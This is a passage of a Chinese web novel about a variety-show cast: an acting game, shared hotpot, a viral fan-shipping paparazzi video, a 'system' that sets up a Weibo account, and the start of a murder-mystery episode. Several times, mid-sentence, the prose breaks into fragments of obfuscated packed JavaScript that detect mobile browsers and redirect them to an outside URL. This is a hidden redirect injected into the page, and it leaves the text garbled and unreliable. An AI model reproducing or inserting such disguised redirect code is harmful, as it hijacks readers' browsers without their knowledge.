“行,那就非凡先上。”何循正愁不知道怎么演,闻言立刻招呼宁非凡,“来来,快来给我们打个样!” 宁非凡双手撑着扶手潇洒起身,刚要迈步,就被莫闻赫一句话定住:“眼睛是心灵的窗户,宁哥,你要不把墨镜摘了再演?” 宁非凡扭头看他,眨眨眼,不明所以。 白韶清拍掌笑着附和:“对,你赶紧把那破玩意儿摘了,眼睛长那么好看遮掉干嘛,还影响我看你帅气的脸。” 俩小的和王洛玟跟着起哄,何循也随大流乐乐呵呵地说:“非凡啊,快摘了吧,让我看着你戴墨镜演戏,估计你演什么我都会觉得你在演你自己。” 宁非凡哭笑不得,本来他戴墨镜是怕收不住的癫感吓到别人,之前他们问起来也用搞抽象搪塞过去了。偏就这个莫闻赫爱搞事,非得挑这一句,也不知道是想做效果还是闲的。 他双手叉腰,居高临下地看着莫闻赫摘下了墨镜,长长睫毛半遮着昳丽的凤眼,脸上赫然写了三个大字:你等着。 莫闻赫屈起指节,抵着唇瓣轻笑:“嗯,这样顺眼多了,去吧宁哥。” 宁非凡放下卡片,上下打量他一番,把他看得愣了愣,才笑吟吟地搬着自己的椅子走到桌子前方。 他在椅子上坐好,双腿交叠,挽起衣袖,而后随性慵懒地往椅背上一靠,左臂搭上扶手,右手斜斜支起,弯起指节抵在下巴与嘴唇上,略略低头,摆出一个散漫而优雅的坐姿。 莫闻赫又是一愣,还没反应过来,另外四人的视线就飘了过来,在他们身上来回反复地扫视,面露惊愕。 “宁哥,赫哥……”聂远笙弱弱地开口,“你俩……照镜子呢?” 看戏的三人一时没做好表情管理,喷笑出声,宁非凡却压了压手掌,示意大家安静。 这回莫闻赫也来了兴趣,跟其他人一起好整以暇地看他还能整出什么活儿,下一秒,他就抬起面庞,嘴角朝左上扬起一个略显夸张的弧度,露出了霸总专属的邪魅一笑。 这个笑容和莫闻赫两年前客串的雷剧霸总角色不能说毫不相关,只能说一模一样,比某站的鬼畜剪辑还像。 在座众人瞬间哄笑出声,6G冲浪的年轻姑娘小伙都刷到过莫闻赫那个千万播放量的抽象视频,已经快笑到桌子底下去了,座机网速的何循也被这个表情本身逗笑,发出了他的综艺标志“嘎嘎”笑。 在一片欢声笑语里,莫闻赫独自绝望,抬手捂住脸沉默几秒,起身作势往外走:“这样吧,我承认了,第一案的死者是我杀的,今天就先到这儿。我尸体有点不舒服我先回太平间了,勿留,勿留。” 他一边说一边抬脚,宁非凡赶紧小跑过去拦住他,推推搡搡地把他往位置上推,边笑边说:“别别别,闹着玩呢闹着玩呢,你快坐下坐下。” 王洛玟笑到失声,摆着手说不出话来。白韶清比她好点,冲宁非凡竖起大拇指断断续续地说:“这个……哈哈哈哈哈——老宁你是这个!演的太到位了哈哈哈哈哈——” 秦章更是乐得不行:“宁哥,我宣布你在表演赫哥比赛上获得第一名,赫哥屈居第二!怎么能演得这么像的,你老实说,私底下到底把那个视频看了几遍?” 宁非凡回头道:“没多少遍……也就二三十次吧……诶诶!你怎么又要走!” 莫闻赫听到这话,顿时深吸一口气,已经松弛的抵抗力度再次加重。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172062|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宁非凡索性抬手环住他肩膀,半搂半抱地带着人坐下,笑得凤眼都变眯眯眼了,嘴上还在哄:“没看,我一遍都没看,就是以前偶然刷到过,看见了,印象深刻,所以才记到今天的!真没看!” 莫闻赫伸指点他,憋了半天仍是破功,轻笑道:“好好好,你也给我等着!” 说着,莫闻赫走到桌子前方,学着宁非凡的姿势站直,扶了一下空气眼镜。 众人笑声暂停,好奇地盯着他,宁非凡也想知道他要怎么“报复”回来,便撑着桌子身体微微前倾。 下一刻,莫闻赫原地扎了个别别扭扭的马步,气沉丹田地张口,一本正经地用口型问:“姐,这样能拍到我下巴了吗?” “哈哈哈哈哈哈——” 白韶清当场笑趴,见过宁非凡刚才耍宝样子的王洛玟三人也再度乐出声。何循一如既往地状况外,却仍然被莫闻赫那故意变形的姿势逗乐,摇着手说:“你这不是扎马步,你这是蹲坑哈哈哈哈哈——” 宁非凡过去拽起莫闻赫,气笑了:“我刚才确实是扎马步,才不是你这样!” “哦,偶然看到,印象深刻,但肢体不协调没做好,宁哥别介意。”莫闻赫拍拍他的肩膀,唇角一勾,笑容狡黠痞坏。 两人你一句我一句地拌着嘴回位置坐下,场上氛围被他们炒热,前辈后辈们也就更放得开,在镜头前贡献了不少颜值和肢体语言大裂谷,摄影棚差点被他们笑裂。 游戏结束后,所有人都收获了快乐和喜欢的锅底,和和美美地吃着火锅聊着天。 宁非凡与莫闻赫把他们的牛油锅与酸辣锅拼在一起,椅子也挨到一处,用公筷在两个锅里涮肉烫菜,分享美食。 何循正对着牛油锅斯哈斯哈呢,一扭头看到这副场景,当即举手:“诶我举报啊,有俩人怎么背着我们吃上鸳鸯锅了?” 宁非凡说想尝尝酸汤,莫闻赫便打了一碗递给他,笑眯眯接话:“自助鸳鸯锅不算违反规则吧,哥你要是想换口味,也可以跟别人拼啊。” 白韶清一脸痛苦地吃着清汤菜,听见这话立马贼兮兮地笑:“哦哟,我们是别人,那谁是你自己人啊?邪魅一笑那个?” 王洛玟笑得呛了一下,见莫闻赫想了想,利索地端走宁非凡已经送到嘴边的酸汤碗时,干脆放下筷子笑完再吃。 “不是都过去了吗?别这样别这样。”宁非凡一边顺毛一边把碗端回来,“姐你可别挑拨离间啊,什么邪魅一笑,那明明是正经人的微笑,一个笑容六七十种情绪,能上演技教科书的,别瞎说!” “哈哈哈哈哈——” 莫闻赫抓住他手腕:“你再说我就把你的锅底搬走了啊!” “别别别……” 两人打打闹闹,众人说说笑笑,摄影棚内的气氛热烈度再创新高,破冰聚餐环节圆满成功。 在工作人员们忙忙碌碌地录音、拍特写、引导流程之际,角落里有人举着手机,断断续续录下了不少互动片段。 两个小时后,嘉宾们登上前往桃花源岛的飞机,一段代拍录像却登上了热搜第二。 莫闻赫新综艺CP互动[热] 5. 路透热搜 莫闻赫是最近两年风头最盛的流量生,流量主要集中在长得帅和宠粉上,影视剧与综艺方面的曝光不多,除去时不时爆一下的商务物料,以及业内待拍剧拿他遛饼时会带起一阵关注度,多数时候追他是一件很寡的事。 不过热有热的追法,寡有寡的追法,作为莫闻赫半个唯粉兼赫all浅嗑CP粉,林小兰深谙知足常乐之道。 忙碌的工作让她的休息娱乐时间大幅度缩减,她也追不来那种高强度曝光,需要粉丝拼命做数据的“传统流量”,闲来无事刷刷二创剪辑舔屏,看看CP视频补充赛博糖分,再在莫闻赫出洞时给他点点赞,转发评论一波,买些自己用得上的他的代言,已经是她这个颜粉路人粉所能做到的极限。 这天一如往常。中午休息时间,林小兰照旧在吃饭的时候点开微博,看了看莫闻赫的微博,没发物料,于是转去自己常逛的那几个CP超话,想找点不那么硬的糖嗑嗑。 然而,她连着点了好几个超话,却发现首页全在说些自己看不懂的话,什么“他这次好像真的不一样”,什么“看起来像出轨了似的好难受”,什么“只有我觉得视频里的他不是很开心,至少不像和xx在一起时开心”,让她一头雾水。 林小兰咽下嘴里的炒饭,顺着其中一条帖子下方的词条点了进去,这才发现平时一露面就上热搜的莫闻赫,今天又因为一段路透视频高高挂在热搜榜二,词条内第一条微博就是代拍发布的私录视频,第二条则是唯粉撇清加借机安利的传统话术,看得她又是一愣。 “赫哥出新综艺了?好事啊,让我看看代拍又整了什么烂活。” 放下勺子,林小兰兴致勃勃地点进视频。 视频开头是一阵轻微的抖动,紧接着镜头移动,以一个颇为刁钻的角度对准了摄影棚内的录制现场,正好将长桌左侧的两道身影框进去。 莫闻赫是典型的浓颜帅哥,五官立体又精致,即便是在这种高糊镜头里,依旧显眼而夺目。 但真正令人惊奇的是,他身边的人论长相论身材竟也不输于他,哪怕戴着墨镜遮住了上半张脸,从他高挺的鼻梁、形状优美的嘴唇与下巴仍旧可以看出他姿容俊丽,尤其是勾唇浅笑时那种扑面而来的蛊惑感,可谓摄人心魄。 两位神颜帅哥委屈地挤在角落,却自得其乐,他们吃着拼凑而成的鸳鸯锅,时不时凑近对方低声说着什么,然后被对方逗笑或气笑。 刚认识的男生之间的肢体接触相对而言会比刚认识的女生多且自然一些,他们也不例外。有时是那陌生青年去搭莫闻赫肩膀,偏头听其他嘉宾说话。有时是莫闻赫抓着他的手臂跟他聊天,脸上常带着笑意。 桌子那么大那么长,他们偏偏就要挤在一起坐,其他人中间都隔着至少半米远的社交距离,就他们俩毫无距离,恨不得贴到一起,硬是在七人聚餐中划分出双人独处的氛围,用两个字形容,那就是“从”“人”。 短短两分钟时间,给林小兰看得食欲不振了,着了魔似的反复往回拉进度条,一连看了七八次才意犹未尽地停下,咬着勺子吐出一句真情实感的:“妈耶!” 她终于明白莫闻赫那几个CP超话里为什么那么多人破防了。 莫闻赫不是炒CP起家的演员,或者说他从未炒过CP。让他大火并跻身流量的那部古偶剧虽然有感情线,但也仅止于剧内,剧外他和女主演的交流只在宣传期,而且能看出来是非常明显的纯营业和普通同事关系,真人CP(RPS)那是炒不起来一点儿,还不如他的水仙火。 综艺里,莫闻赫也带着一种与生俱来的疏离感和冷调的洒脱,所有流程、游戏环节他会认真完成,抽到需要演绎爱情戏份的角色他也会按照人设要求去做,却也仅此而已。 跟他合作过的人无一不夸他性格好,周到体贴,平易近人,他是普适意义上的好人、好同事,也是绝对意义上的CP绝缘体。 网上还有神婆神相给莫闻赫算过桃花运,说他对待感情认真专一,又严苛到极致,所以绝不会让现在的自己为将来的自己留下任何感情污点。 但同时他对爱情又有一种“钝感”,就是他能明确地知道自己“不喜欢谁”,却无法第一时间准确分辨出自己“喜欢谁”,这很可能会导致他错过自己的真爱,需要一些外力将他点醒。 林小兰从营销号那儿看到这些内容时,虽然觉得这些人真能扯,但还是认可其中部分看法的。 她是莫闻赫的半个CP粉,却也能明显分辨出莫闻赫其实并不喜欢他的相方,很多互动假糖感很重,所以她嗑归嗑,却从不走心,与其说是嗑CP,不如说是喜欢两张漂亮得势均力敌的脸放在一起的赏心悦目感。 可那些都是其他CP给她的感受,视频里这对,倒真让她摸不透了。 莫闻赫不习惯假笑,从他放松随意的肢体动作可以看出,他在这个陌生帅哥面前是一种很松弛的状态,肢体接触也十分自然,没有任何勉强或不适感。 很奇怪的是,他们两人的相处模式也不像认识多年的老友,从很多细节都能看出他们是刚认识不久,还处于磨合期。 但嗑过CP的人知道,大火CP很多嗑的是拉扯和氛围感,要的就是这种熟又不熟,亲密又略显生疏的微妙感觉,尤其是在两人有着完全不克制、不勉强、不避嫌的肢体互动的时候,更是格外好嗑。 至于往深里挖掘CP张力,探讨两人的契合度、同步率等等高端操作,那都得等CP火过一段时间,明面上的互动扒干净了才能出现。而数字糖、卡点糖、同款糖这种,就属于见仁见智了。 作为一只不那么专业的嗑糖姬,林小兰重复观看这两分钟多点的代拍视频,越看越抓心挠肝,恨它太短,又恨它出现得太早。 而这视频三千多万的播放量和上万评论则证明拥有同样想法的人不止她一个,她点进评论区,万赞热评第一就是“谁能告诉我这对CP名叫什么”,底下也全是求取名,求更多糖,求产粮的,可见莫闻赫与这位神秘帅哥的CP感多么炸裂。 林小兰心不在焉地吃着饭,在词条广场上疯狂刷新,试图挖点新内容出来,却只收获了入坑同好们的同款土拨鼠尖叫。 莫闻赫的唯粉倒是适应良好,毕竟自家正主是是靠脸成为CP大户的高颜值流量,类似的事隔段时间就来一出,她们已经麻木并且脱敏了。 至于舔上那神秘帅哥颜,想要当他唯粉的路人,这会儿都气势汹汹聚到了综艺“逃出桃花源”的官博下,要求节目组尽快官宣,公布那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172063|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神秘帅哥的身份。 无人注意的角落,系统开启了它早已备好的粉运计划,一个名叫“宁非凡plus”的微博账号刚刚注册完毕,红V和经纪公司认证就已经安排上了。 宁非凡plus。 高维娱乐工作室签约艺人。 …… 飞机上,并不知道微博被自己闹得天翻地覆的两人刚睡了一觉起来,摘眼罩的摘眼罩,找空乘要水的要水,脸上都带着淡淡的倦意。 宁非凡托着下巴望出舷窗,蓝天白云鲜明透彻,舒缓了他刚睡醒时的眼部酸涩。 莫闻赫撞撞他的手臂,递来一杯热水,顺手将眼罩塞回口袋,嗓子微哑地笑道:“飞机还有二十分钟降落,再歇会儿?” VIP舱内格外安静,他压低了嗓音,听着像是趴在宁非凡耳边低语。 宁非凡揉了揉莫名发痒的耳垂,打着哈欠摇头说:“不用,睡不饱很难受,我还是提前让自己清醒点吧。” 说着,他接过热水抿了一口,手肘不经意划过膝盖,蹭到什么毛茸茸的东西,低头看时不由得一愣——他的腿上搭着半条毛毯,另外半条搭在莫闻赫那边。 宁非凡转眼看向身边人:“你给我盖的毯子?” 莫闻赫撑着头,正用拇指按揉太阳穴,闻言淡笑着点点头:“机舱里的空调可能开得有点低,你睡着的时候一直在抖,我就让空乘拿了条毛毯过来。不过这毯子太长,给你盖上后还有一半拖在地上,我就顺手搭在我这边了。” 宁非凡怔怔看了他几秒,拿起毛毯左一下右一下地叠,嘴角微微上扬,道了句谢谢。 他还是弄不明白莫闻赫对自己的善意从何而来,也许久没有接触过这样单纯且自在随性的好意。 但无论莫闻赫目的为何,这份心意他都领了。 莫闻赫瞥见他满脸的笑意,莫名也觉心情大好,窗外的日光都更清澈了些。 两人有一搭没一搭地聊着天,转眼二十分钟过去,飞机停靠在M市机场,空乘开始组织乘客有序下机。 下了飞机,莫闻赫的经纪人白洁、助理萧娴和化妆师、造型师、服装师等人围拥过来,将他护在中间。 宁非凡毫无意外地被挤开,却也不怎么在意,见两个弟弟身边只跟了助理,便想过去跟他们一起走。 莫闻赫见状,冷不丁拉住了他的手。 宁非凡惊讶回头,脚下趔趄着被他带进了自己的团队中间:“莫闻赫?” “没事,一起走。”莫闻赫笑了笑,又冲他狡黠地眨眨眼,“放心,工作室之前提醒过了,我的粉丝不来接机。” “哦……” 宁非凡虽然仍旧感觉奇怪,却也没有拒绝他的好意,与他并肩走出VIP通道。 他的经纪人在旁边欲言又止了一会儿,到底什么都没说。 “白姐……”拎着两个小包的萧娴使了个眼色。 白洁摆摆手,偏头与随行的保安说了句什么,他们便转身去阻拦角落里的代拍了。 然而几分钟后,新的代拍视频再次登上热搜,新词条也不再用莫闻赫的大名,而是不知哪位新晋CP粉起的CP名—— #煊赫非凡机场互动,他们就像做了夫妻一般#[爆] 6. 正片第一期(一) “煊赫非凡?” 化妆间内,七位嘉宾分两排,背对背坐着搞妆造。网上冲浪达人聂远笙化着妆也要玩手机,点开热搜就看到了那两条代拍词条,当场拿CP名贴脸正主本人。 宁非凡与莫闻赫对视一眼,都看到了彼此眼中的茫然。 “这是……”莫闻赫毕竟在娱乐圈混迹多年,还是比宁非凡稍有经验,“我和宁哥的CP名吗?” “bingo!”秦章也在吃瓜,闻言冲他打了个响指,“两条代拍视频两个热搜,赫哥你这星光也是绝了。宁哥也不差,凭这两条高糊视频居然涨了五万多粉丝,诶,这个‘宁非凡plus’是你吗宁哥?” 宁非凡一愣,正想说自己不清楚,脑内就响起了系统的声音:“是,我帮你创的号,认证和红V都挂上了。” 这就开始推动粉运了?行动力真强。 宁非凡点了点头:“对,是我经纪人帮我创的号。” “哦……难怪虽然是白号,但已经有红V和认证了。”秦章的手指在屏幕上滑动,“高维娱乐工作室?这是新成立的工作室吗?” 一无所知的宁非凡端着什么都知道的样子回答:“没错,工作室里就我和我经纪人两个人,还是个空壳子。等这档综艺播出,我正式出道,情况应该会好些。” 秦章点点头,向他挥了挥拳:“加油!” 聂远笙在一边笑着拍他:“你少尬燃。” 俩小的专心刷手机不再说话,宁非凡看了看莫闻赫,见他也在玩手机,便没有搭话,自己也摸出手机开始搜“煊赫非凡”,看看这对CP是个什么情况。 不搜还好,一搜,广场上当即跳出一连串奇奇怪怪的领嗑帖,底下还都带着两个热搜词条,光是看着就让他脚趾抠地。 宁非凡嘴角一撇,带着一言难尽的表情退出CP广场,但他触屏时突然拇指一抖,不小心戳进了热度最高的那条帖子。 @兰花姐姐的赛博低血糖基地 两条代拍视频都已看完,我宣布从今天开始,我将彻底退出其他CP超话,全心拥护我们的煊赫非凡,直到他们彻底BE的那天! CP界有句古神低语,叫“他这次真的不一样”。指的是CP中的某一方在遇到相方时,表现出与其他人相处时所没有的特别之处。虽然这句话多数时候靠脑补成立,可信度不高,但我还是要说,莫闻赫这次真的不一样! 对不起我是个不合格的粉丝,但我真的没见过莫闻赫随随便便抓人手臂,随随便便让人搭他的肩膀,随随便便就露出不值钱的笑容,随随便便就跟人挤坐得像是连体婴。 别说对CP相方,他对那几个公认的圈内好友都没有这种互动。你见过他去抓丽姐的手臂让她跟自己一起走机场通道吗?你见过他跟陆浪弟弟勾肩搭背笑得跟个二百五似的吗?你见过他跟谁吃单人火锅吃成鸳鸯锅吗? 不,你没有。 是的,我也没有。 所以,莫闻赫这次真的不一样,爱信等,逃出桃花源别让我失望。 看完这篇不算太长的帖子,宁非凡哭笑不得,不知道该夸CP粉观察得真够细致,还是为她们无懈可击的脑回路感到无奈。 从广场退出,宁非凡没有把这些CP帖放在心上,登出原身原本的账号后登上了系统为他创的新号。 “系统。”他在心里问:“创号第一天,我需要发点东西吗?” 系统秒答:“暂时不用,你现在也没什么可发的。你跟逃出桃花源的节目组签过保密协议,等综艺录制完,进入排播期和宣传期,你再发些花絮照,那样才能让热度最大化。” “OK。”宁非凡一口答应。 他以前不玩微博,也不懂这里面的弯弯绕绕,能不折腾自然最好。 新号的主页推荐刷不出什么有趣东西,宁非凡看了一会儿便失去兴趣,作势退出应用。 这时,他的手机突然响起“叮”的一声,状态栏也弹出新消息,提示他“莫闻赫life关注了你”。 “宁哥。”在他看到消息的同时,莫闻赫的手搭上了他的肩膀,语气轻快带笑:“我关注你了,快回关我。” 宁非凡讶异地看向他:“你这样会给我……”引流吧? 莫闻赫的桃花眼弯成了月牙,眼中笑意浅浅却亲和自然,甚至透着一种青春男大的清澈感,将宁非凡那些所谓利益相关的想法衬得阴暗又小人之心,让他全都咽了回去。 “好,我现在回关。”宁非凡利索地点了关注,还给他加了特别关注,用玩笑的口吻说道:“诶,你粉丝跑到我这边来了,我这算不算蹭上你的热度了?” 莫闻赫轻笑:“让你蹭让你蹭,最近热死了,你多蹭点,看能不能让我凉快点。” “谁跟你说这个热度了!” “那不然呢?” 两人说着没营养的废话,背对背的聂远笙与秦章往后仰头对视一眼,露出“他俩又开始了”的促狭笑容。 做好妆造,七人轮流到更衣间换衣服。 莫闻赫的服装相对简单,被放到了第一个,一身剪裁合帖的黑色军装勾勒得他身形颀长,宽肩窄腰,黑色裹腿长靴更是衬得他双腿奇长,从更衣室里出来时行走如风,气场直奔两米八。 第二个是宁非凡,他穿的是灰色民国风盘扣长衫,戴一副金丝眼镜,浑身上下透着教书先生般的书卷气,长身玉立,儒雅温和,原本略显凌厉的气质也柔和下来。 白韶清与王洛玟的服饰则是民国最常见的两种“对立”设计,前者身着改良清汉女两件套,上衫立领广袖,下裙堆褶刺绣,闺秀气十足。后者则一身蓝色丝绒收腰长裙,戴着垂纱小礼帽和长手套,手拿羽毛折扇覆面,优雅而新潮。 两个弟弟的服装大同小异,都是西装,版型相似,只有颜色和胸针、领结、袖扣这些细节设计稍有差别。 何循的就比较特别了,穿着马褂,踩着布鞋,头戴圆帽,鼻梁上架着小圆黑眼镜,手里还拄了根拐。 这套衣服既视感之强大,他一出来所有人就都笑了,宁非凡拍着掌道:“循哥,你不会是用轮空选角色的机会选了我想要的那个角色吧?” 何循托了下眼镜,嘴角微扬:“你猜。” 莫闻赫闻言,笑着撞了下宁非凡:“诶,别想了,教书先生挺好的,算命先生和大老爷这种角色不适合你,还是把舞台让给我们循哥吧。” “唉。”宁非凡煞有介事地叹气,“半个先导片的墨镜白戴了。” “没白戴没白戴。”王洛玟摆手,“让循哥坚定地选走这个角色,让我们能看到你帅气的脸,这墨镜不白戴啊!” 宁非凡双手捂脸:“夸得我都不好意思了——姐你再多夸两句?” 王洛玟拿扇子甩他:“美的你!” 录剧情导入的古宅外景还在布置,众人聚在摄影棚里闲聊,中途还吃了个晚饭,在附近转了转,一直到晚上九点,月上中天,节目组才统筹完毕,引着他们走到他们应在的地方。 桃花源岛是一处旅游景点兼影视基地,节目组租下的古宅是一栋仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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拍门声响过一阵,门终于缓缓打开。门后泻出一线暖光,身着长袍的俊雅先生抬起红梅青鲤油纸伞,面色沉静:“这位……” “外面雨太大,我的车子抛锚了,要在这里借住一夜。”莫少帅冷冷打断他的询问,身形微侧,让他看到别在自己腰间的配枪。 宁先生怔了怔,眼睫微颤,似有一丝惊慌从眼底闪过,却仍竭力维持平静:“抱歉,我需要征求老爷的同意……” 莫少帅拔枪顶上他的额头,傲慢地挑了挑眉:“那就带我去见他,我亲自问。” 宁先生脸色一白,抿着唇微向后仰,身体轻轻抖颤:“好,好,请……请跟我来。” 莫少帅收起枪,顺手夺过他的油纸伞,动作并不粗鲁,却透着不容置疑的味道,他也只能低下头,隐忍地轻叹了口气。 两人并肩走进雨里,莫少帅大步流星,宁先生跟得艰难。前者本该目中无人,但看到宁先生身上的衣服被打湿,伞面还是不自觉地朝他倾斜过去。 镜头诚实记下了莫闻赫“出戏”的这一幕。 穿过雨中压抑昏暗的庭院,他们很快来到正厅,陶何老爷的卧房就在后方的院子里,然而他们还没来得及往那边走,就见正厅内灯火通明,几道身影聚在昏黄烛灯下,正惶惶不安地讨论着什么。 莫少帅脚步一顿,用力扯住宁先生的手腕,下巴微抬:“里面,谁是老爷?” 宁先生指着年纪最大那位刚要开口,站在老爷身边的清装女子便忽然掩面啜泣道:“可是他死了!——” 蓦然一声惊雷炸响,石破天惊。 宁先生愕然瞪大双眼,莫少帅却饶有兴致地挑起了眉。 7. 正片第一期(二) 突如其来的闪电照亮堂屋中每一个人的面容,有的脸色阴沉,有的掩面哭泣,有的若有所思,有的意味深长,可谓人间百态。 清装女子说完那句话后,虽然仍在发出哭声,但手掌略微往下,露出的眼睛里一滴泪水都没有。 莫少帅的嘴角划开浅浅弧度:“有意思。” 剧情导入到此结束,工作人员在后面喊了声“卡”,端着演绎姿态的七人顿时像被抽了筋骨似的松弛下来,回到现实。 人还在角色里,但说话方式与相处模式都转成正常样子——有限度的演绎,这是综艺最佳模式。 “快快快!赶紧进去!”莫闻赫一边给宁非凡打伞,一边拉着他跑进正厅,“节目组也是下血本了,为了录导入片,居然搞这么大的人工降雨。” 堂里的五人也拥上来,秦章去帮莫闻赫拿伞,聂远笙给宁非凡拍衣服上的雨水,王洛玟挤不上去,在外面摇着扇子笑道:“人工降雨不算什么,打光才是真绝。刚才那一道银光闪进来,跟真闪电没什么区别,吓了我一跳。” 何循乐呵呵地看着宁非凡与莫闻赫整理完自己,才板起脸问:“宁先生,这位是谁?你怎能随意带人进宅子?” “哦,他……” 宁非凡抖抖衣摆上的雨珠,正色开口,却见莫闻赫一扬眉,拔出了枪:“我是刚来桃花源岛的少帅,莫少帅。进岛的时候遇到大雨,车子抛锚,所以想借住一宿。” 何循看看他再看看枪,吐槽道:“你真的是想借住?我怎么看着像要抢我房子呢?” 宁非凡没绷住笑了一下,带得本来能绷住的莫闻赫也跟着笑,气势直降一米八:“老爷子说笑了,确实是借住,雨停了我就走。再说了——” 他环顾四周一圈,脸上露出矜持的嫌弃:“我名下的房产没有一百也有八十,个个都比这儿像人住的地方。” 宁非凡好笑:“出门在外,身份和资产都是自己给的是吧?” 莫闻赫立马反驳:“我少帅耶,少帅!又有钱又有权!” “行行行,知道了知道了。”宁非凡敷衍地顺毛,转向何循,“老爷,您看要不要让他借住,让的话就找人给他收拾屋子,不让我们几个就把他叉出去。” 说着,他一把按住莫闻赫肩膀,把他没拿枪的左手往背后掰。 两个弟弟见状,立马上来起哄着去抓他右手。 “诶诶诶,我有枪啊,我有枪!”莫闻赫左臂不动,任由宁非凡抓着,右臂却扭来扭去地挣扎,避开秦章和聂远笙的爪子,还超大声超嚣张地叫嚣:“不仅是我,我外面的手下们也都有枪,你们可想好了!” 王洛玟和白韶清闻言,配合道:“快快快!他有枪他有枪!都撒开撒开!” 何循的大家长气场也瞬间矮了下去,弯着腰谄媚地笑着把他往主座引:“莫爷您往这边走,来,坐这儿。” 一面引,他一面还拿袖子擦了擦椅面,前倨后恭的形象演得入木三分。 宁非凡三人笑着松开莫闻赫,莫爷理了理衣袖,又“哼”了一声,拿着枪毫不客气地坐到主位,翘起了二郎腿。 他把手随意往桌沿一搭:“刚才过来的时候,我听到谁说了一句‘他已经死了’,谁死了?怎么死的?尸体在哪儿?” 这话一出,在场几人面面相觑,神色各异地别开了头。 只有宁非凡一脸无辜:“少帅你是知道的,刚刚我跟你在一起。” 莫闻赫瞥向他:“你的意思是,你不知情?” 宁非凡微笑:“我的意思是,我不知道谁死了。” “哦……”莫闻赫意味深长地点点头,暂时放过他,“陶老爷,你来说。” “呃……这个……我也不知道啊。”何循扯了下白韶清的大袖子,“女儿,你跟少帅说说。” “女儿”俩字比任何东西都让人出戏,白韶清忍笑忍得脸都酸了,抖着声音说:“回少帅的话……” 莫闻赫连忙打住:“姐,要不你笑完再说吧,你这嗓子抖得像叫魂,我害怕。” “哈哈哈哈哈——” 白韶清顿时大笑起来,其他人也都喷笑出声。 何循乐道:“一共就七人,俩是我儿子,俩是我闺女,还有一个是我儿子闺女的教书先生,我们全家都是嫌疑人,不知道的还以为家族作案呢。” “那没准。”宁非凡接话,“说不定一会儿查起来咱六个每人背着一条人命,案子结束直接一锅端,都成莫少帅的业绩了。” 莫闻赫立刻拱手道谢:“借宁先生吉言,我也提前谢谢各位了啊。” 何循指着他笑道:“你就顺杆爬吧,下一期自己也成嫌疑人,我看你打不打脸。” 莫闻赫一摆手:“那就下期再说。” 笑闹过后,几人重新进入正题,白韶清拍拍脸整理表情,拿袖子掩面假哭:“回少帅的话,我们家的园丁死了——” “死哪儿了?” “死得到处都是啊——” 莫闻赫的询问与白韶清的回答几乎同时响起,众人愣住了。 王洛玟率先反应过来:“什么意思?分尸啊?” “不是。”白韶清用手帕轻抽她一下,语带嗔怪,“我的意思是,他在我面前死了好几次,每次都死在不同地方。” 堂内安静几秒,所有人齐齐道:“啊?——” 莫闻赫猛地放下腿,坐直身,身体前倾问道:“你仔细说说。” 白韶清吸了吸鼻子,左右看看,忽然退后两步,从人群里退出去,面露控诉:“你们还跟我装!你们——每个人——都杀了他一次!我亲眼看到的!” 她话音刚落,被点到的五人表情都有微妙的变化,但同时也讶异地彼此对视,纷纷退开一定的距离。 莫闻赫笑了:“好啊,好,好精彩的一家人。难怪要下这场雨,原来是专门让我过来处理这件事的。” 他的目光从众人身上一一扫过,最后在宁非凡身上停顿片刻,冲他招招手:“来,都坐下吧,我们慢慢聊。” 主座两侧有六个位置,爹和俩女儿坐左手边,宁非凡和俩弟弟坐右手边,因后者不用按咖位排,秦章和聂远笙不约而同地选择让宁非凡坐到前面,也就是离莫闻赫最近的地方。 莫闻赫右手支着下巴,身体朝宁非凡的方向倾斜,眼睛则看着白韶清:“这位小姐,你把刚才的事展开说说?” 宁非凡闻言,伸手扯他袖子,cue流程:“少帅,要不我们先跟你做个自我介绍吧。” 莫闻赫面露恍然:“好。” 宁非凡又看向何循:“那老爷先来?” “行,我先来。”何循拉拉衣领,拄着拐杖起身,“我是陶何陶老爷,是陶家这一代的当家人,今年五十岁,知天命之年。这两位是我女儿,对面那仨是我儿子和我聘来的教书先生。” “爹,您可别强调了。”秦章捂脸。 何循发出一阵中气十足的笑声,潇洒地坐了回去。 紧接着是白韶清站起,做西子捧心状柔柔弱弱地说:“我是陶白,陶家大小姐,二十三岁,大家闺秀,未婚。” 宁非凡憋笑:“大小姐,一般大家闺秀不会自称大家闺秀。” 白韶清瞬间出戏,笑着白他一眼:“就你话多。” 接下来是二小姐和三少爷、小少爷的自我介绍,都很简短,也没什么信息量。 轮到宁非凡时,他也不起身,双腿交叠气定神闲地说:“我是宁先生,二十九岁,陶家的教书先生。我十九岁就来了陶家,在这儿教了小姐少爷们十年,也算半个管家,家里大大小小的事都知道一点。” 何循点头附和:“对,对。最近这几年家道中落,家丁少了,有些需要跑腿的比较重要的事我都是让宁先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 